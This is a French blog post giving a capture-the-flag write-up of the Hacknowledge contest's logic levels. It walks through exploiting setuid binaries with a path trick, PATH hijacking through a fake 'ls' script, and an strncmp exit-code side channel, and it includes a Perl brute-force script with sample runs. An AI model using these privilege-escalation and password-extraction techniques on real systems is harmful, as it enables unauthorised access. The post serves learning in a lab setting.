Ziirish's Home :: Blog

Ziirish's Pub

 
 

Hey,

Hier se déroulait le hacknowledge-contest , l'équipe des Full Metal Gruik était présente pour la deuxième année consécutive. Cette année encore, nous étions en forme et surmotivés ! Déguisement de Gruik, pic-nic et grande préparation pour les épreuves... Nan, je déconne ! Les FMG ne se préparent pas, ils y vont avec leurs bits et leurs PCs !

Résultat, de la bonne humeur, une bonne ambiance, et un résultat bien au dessus de l'année dernière.

Aujourd'hui je me propose de vous faire un petit retour sur les épreuves de Logique.

Je n'ai pas pris le temps de recopier les énoncés exacts alors je vais juste expliquer grossièrement le principe des épreuves.

Le principe des épreuves de logique est de trouver le mot de passe du niveau suivant qui se trouve dans des fichiers. Bien sûr la difficulté est croissante. Je n'ai validé que les 3 premiers niveaux... Mais j'ai trouvé la technique de résolution du niveau 4. Je n'ai malheureusement pas eu le temps de valider le résultat :(

Logique 1 :

Pour cette épreuve, on se connecte à la machine en tant que "level1" :


$ ssh level1@ip.de.la.machine

On se retrouve donc dans le home de level1. Afin de valider ce niveau, il nous faut trouver le mot de passe de level2, caché quelque part sur la machine.

Un petit coup de ls -la nous fait apparaître un fichier nomme ".backup". Une petite vérification avec la commande file, il s'agit bien d'un fichier texte, nous pouvons l'afficher avec la commande cat. Et voilà, on peut passer au niveau suivant.

Logique 2 :

Pour ce deuxième niveau, à première vue, on va devoir chercher un peu plus. En regardant un peu, on remarque un dossier wargame à la racine de la machine. On affiche son contenu qui nous révèle 4 binaires avec leur code source respectif. On remarque que les binaires disposent d'un setuid .

Les binaires sont les suivants : level2, level3, level4 et level5 L'utilisateur level3 est propriétaire du binaire level2, l'utilisateur level4 est propriétaire du binaire level3, etc.


level2@Logique:/wargame$ ls -al
total 56
drwxr-xr-x  2 root   root   4096 Apr  2  2012 .
drwxr-xr-x 21 root   root   4096 Jun 29 06:37 ..
-r-sr-x---  1 level3 level2 5848 Apr  2  2012 level2
-r--r-----  1 root   level2 1004 Apr  2  2012 level2.c
-r-sr-x---  1 level4 level3 4494 Apr  2  2012 level3
-r--r-----  1 root   level3  104 Apr  2  2012 level3.c
-r-sr-x---  1 level5 level4 5145 Apr  2  2012 level4
-r--r-----  1 root   level4  467 Apr  2  2012 level4.c
-r-sr-x---  1 level6 level5 5162 Apr  2  2012 level5
-r--r-----  1 root   level5  605 Apr  2  2012 level5.c

On réalise donc qu'on va devoir utiliser une faille du programme pour s'attribuer les droits de l'utilisateur suivant afin de récupérer son mot de passe.

Le code de level2.c ressemble à ça :


#include<stdlib.h>
#include<unistd.h>
#include<string.h>

void sanitize(char *string) {
    /* Du code pour "nettoyer" la chaîne, exemple : retirer les caractères ../ ou ./ ou / en début de chaîne */
}

int main (int argc, char **argv) {
    char *opts = argv[1];
    char cmd[512];
    sanitize(opts);
    snprintf(cmd, 512, "cat %s", opts);
    system(cmd);
}

(Comme je le disais, je n'ai pas repris les codes exacts, mais ça ressemblait à quelque chose comme ça :P )

On voit donc que ce programme va lire le contenu du fichier passé en paramètre, mais que le chemin à indiqué ne pourra pas commencer par '/', './' ou '../'.

On se place donc dans le répertoire home et on lance le programme comme suit :


level2@Logique:/wargame$ id
uid=1001(level2) gid=1001(level2) groups=1001(level2)
level2@Logique:/wargame$ cd /home/
level2@Logique:/home$ /wargame/level2 level1/.backup 
LeMoTdEpAsSeDeLeVeL2
level2@Logique:/home$ /wargame/level2 level3/.passwd 
LeMoTdEpAsSeDeLeVeL3
level2@Logique:/home$ su - level3 
Password: 
level3@Logique:~$

C'est gagné, on passe au niveau 3.

Logique 3 :

Comme au dessus, on va se servir d'une faille dans le programme level3.

Le voici :


#include<stdlib.h>
#include<unistd.h>

int main() {
    system("ls /home/level4/.passwd");
}

Ici, aucune modification directe du programme ne sera possible car tout est "codé en dur". Mais on va pouvoir utiliser l'environnement pour détourner ce programme. En effet, la fonction système se base sur la variable PATH pour trouver les exécutables.

On commence donc par créer un "handler" qui sera nommé ls mais qui agira comme un cat :


$ cat /tmp/ls
#!/bin/sh
/bin/cat $1
$ chmod +x /tmp/ls

Maintenant on peut détourner le programme :


level3@Logique:~$ cd /tmp
level3@Logique:/tmp/$ PATH=. /wargame/level3
LeMoTdEpAsSeDeLeVeL4

On peut passer au niveau suivant.

Logique 4 :

Logique 4... L'épreuve sur laquelle j'ai passé le plus de temps ! Le code est le suivant :


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
#define PASSFILE        "/home/level5/.passwd"
#define MAX_SIZE        100
 
int main( int argc, char ** argv )
{
        FILE * f;
        char password[ MAX_SIZE + 1 ] = {0};
 
    if( argc < 2 || (f = fopen(PASSFILE, "r")) == NULL || fgets(password, MAX_SIZE, f) == NULL )
    {
        printf("he non !.\n");
        exit(1);
    }
 
    if( strncmp( argv[1], password, MAX_SIZE ) == 0 )
    {
        printf("Excellent ! =)\n");
    }
}

À première vue, le code ne semble pas trop mauvais, je me dis chouette, le contenu du fichier contenant le mot de passe de l'utilisateur level5 se retrouve dans la variable password ! Un coup de gdb et c'est réglé ! Oui mais... en lançant un programme via gdb, on perd le setuid bit, et donc, on se fait jeter au premier if. J'essaie donc de tourner le problème dans tous les sens, dumper la mémoire du programme ? Le lancer en dehors de gdb puis essayer de s'y attacher, etc. Rien à faire, je n'y arrive pas.

Je regarde ensuite du côté des file descriptors leakage car je remarque que notre fichier n'est jamais fermé, mais ce n'est toujours pas ça.

C'est après de longues heures, et un petit coup de pousse d'une autre équipe que la solution commence à pointer le bout du nez. Malheureusement, il est 22h et le challenge termine dans 10 minutes :(

Voici tout de même ce qu'il fallait repérer. La fonction main ne contient aucun return. Une propriété sur Linux (pour les autres systèmes je ne sais pas), fait que le code de retour de notre programme sera le code de retour de la dernière fonction appelée.

Donc, si l'on appelle notre programme avec un argument, le code de retour sera le code de retour de la fonction strncmp.

Voici ce qu'indique le man de strncmp :


RETURN VALUE
       The strcmp() and strncmp() functions return an integer less than, equal to, or greater than zero if s1 (or the first n bytes thereof) is found,  respectively,
       to be less than, to match, or be greater than s2.

Contrairement à ce que dit la croyance populaire, strncmp ne retourne pas toujours 1, -1 ou 0 !

En faisant quelques essais, on se rend compte qu'elle retourne la différence entre les 2 derniers caractères comparés. Eureka, on va pouvoir deviner la valeur de la variable password grace à cela !

Cette méthode n'est donc pas très élégante car il s'agit d'une sorte de "brute-force" manuel, mais vu le temps qu'il me restait, c'était ce qui me semblait le plus rapide (mais malheuresement pas assez).

Un petit exemple tout de même pour illustrer cette technique.

On va utiliser le code suivant :


#include<stdlib.h>
#include<string.h>
#include<stdio.h>

int main (int argc, char **argv) {
    if (strncmp(argv[1], "bzer", 100) == 0) {
        fprintf (stdout, "yeah\n");
    }
}

Et voici comment on procède :


$ ./cmp a
$ echo $?
255

Il faut savoir qu'en shell, le code de retour ne peut se situer qu'entre 0 et 255. Lorsque l'on voit un code 255, le premier réflexe est de se dire qu'en réalité, le code retourné était négatif. Donc, 0x00 - 1 = 0xFF = 255 ! On en déduit donc que a est inférieur à la lettre recherchée. La différence est de 1.

a + 1 = b !

On continue :


$ ./cmp ba
$ echo $?
231

256 - 231 = 25, notre lettre est inférieure de 25 caractères. a + 25 = z !

Je sens que vous n'êtes pas très à l'aise avec les négatifs en binaire/hexa/ascii... On continue donc avec un autre exemple :


$ ./cmp bzo
$ echo $?
10

Ahhh, ici on a une valeur "positive". Notre lettre 'o' est trop grande de 10 par rapport à la lettre recherchée. Donc, o - 10 = e !

On continue...


$ ./cmp bzeu
$ echo $?
3
$ ./cmp bzes
$ echo $?
1
$ ./cmp bzer
yeah

Et voilà, on a trouvé \o/

J'imagine qu'il existe des façon plus élégantes d'y arriver, mais on verra ça pour la prochaine fois :D

[EDIT]

Ci dessous, un petit script perl permettant de "bruteforcer" le programme afin d'en déduire le mot de passe :


#!/usr/bin/perl

use strict;
use warnings;

my $prog = $ARGV[0];
my $pass = "";
my $first = 1;
my $char = $ARGV[1];

print "Trying to bruteforce program '$prog' using '$char' as first char\n";

for (my $i = 0; $i < 30; $i++) {
    my $test = "";
    if ($first == 1) {
        $test = $pass.$char;
    } else {
        $test = $pass;
    }
    `$prog $test 1>/dev/null 2>/dev/null`;
    my $r = $? >> 8;
    if ($r == 0) {
        last;
    }
    my $rep = '';
    if ($first == 1) {
        $rep = chr(ord($char)-$r);
        $first = 0;
    } else {
        $rep = chr(256-$r);
    }
    $pass .= $rep;
}

print "The pass is: '''$pass''' (without the ''')\n";

Exemple d'utilisation :


ziirish@carbon:~/workspace/vuln$ cat cmp.c
#include<stdio.h>
#include<string.h>

#define secret "IizS3cr3t!"
#define limit 100

int main (int argc, char **argv) {
        if (argc != 2) {
                fprintf (stderr, "usage: %s <password>\n", argv[0]);
                return 1;
        }
        if (strncmp(argv[1],secret, limit) == 0) {
                fprintf (stdout, "Yeah, right!\n");
                return 0;
        }
}
ziirish@carbon:~/workspace/vuln$ ./cmp blah
ziirish@carbon:~/workspace/vuln$ ./brute.pl ./cmp a
Trying to bruteforce program './cmp' using 'a' as first char
The pass is: '''IizS3cr3t!''' (without the ''')
ziirish@carbon:~/workspace/vuln$ ./cmp IizS3cr3t!
Yeah, right!

Pour l'heure, on se quitte sur le tableau des scores ainsi que notre "avancée" dans les défis proposés (en blanc, ceux qui ont été validés).

hacknowledge-result.png

hacknowledge-result.png (direct link)

hacknowledge-levels.png

hacknowledge-levels.png (direct link)

Encore Bravo et Merci à tous !

Une petite dernière pour la route

HNE-2013-Lille-Soir-3.jpg

HNE-2013-Lille-Soir-3.jpg (direct link)

D'autres photos Plus crédits photos : http://www.datasecuritybreach.fr/hacknowledgecontest-lille-live/